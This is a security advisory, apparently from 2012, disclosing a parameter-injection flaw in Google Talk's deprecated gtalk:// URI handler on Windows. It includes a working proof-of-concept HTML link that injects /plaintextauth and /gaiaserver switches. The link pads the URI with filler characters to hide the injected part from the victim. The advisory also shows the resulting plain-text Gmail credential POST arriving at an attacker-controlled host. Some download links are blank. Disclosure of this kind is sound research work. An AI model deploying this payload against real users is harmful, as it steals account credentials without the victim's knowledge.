Google Talk - 'gtalk://' Deprecated URI Handler Injection












Google Talk gtalk:// Deprecated Uri Handler /gaiaserver Parameter Injection Vulnerability 

tested against: Internet Explorer 8
                Microsoft Windows (all versions)

download url of

download urls of

rgod: "Why two versions are downloadable on the internet at the same time?"

- Who is vulnerable?

  - More probably international users, non Eglish speaking one

- When this attack does not work: 
    -when you install Google Talk
    -then you uninstall diligently
    -then you install

-When this attack works:
    -when you install Google Talk
    -then you install


    -when you installed multiple times, never using the uninstall functionality
     which is the reality of it


 Because has not the gtalk:// uri handler functionality but the command line behaviour changed
 Indeeds, or are not vulnerable alone but, when installed, does not remove
 the old uri handler.

My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!!"
rgod                   : "You are right, two steps are better than three"

Vulnerability: Injection of custom parameters 

Google Talk registers on windows a deprecated uri handler, registry dump:

"URL Protocol"=""



@="\"C:\\Program Files\\Google\\Google Talk\\googletalk.exe\" \"/%1\""

By crafting a link a remote user can inject custom command line parameters.

injectable parameters:


Uses plain authentication mechanism

/gaiaserver [host:port]

Uses a different GAIA server to authenticate the client


Allows multiple instances of Google Talk

proof of concept:

<a href='gtalk:// ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/'>chat with me</a>

(???????????? ... are estethics, when prompted the victim does not see the other stuff)

Gmail credentials are sent to 192.168.201:80 instead of google default gaia server, packet dump when sniffing the network 
or listening on that port:

POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
User-Agent: Google Talk

password is plain text, urldecoded:

pass: pass

Now you are done, you spiffed your password to the unknown (evil) world.

If you already logged in on gmail server olders credentials are sent without user interaction,
otherwise if the user tries to login manually credentials are sent aswell to the attacker server

//rgod - 7.39 21/03/2012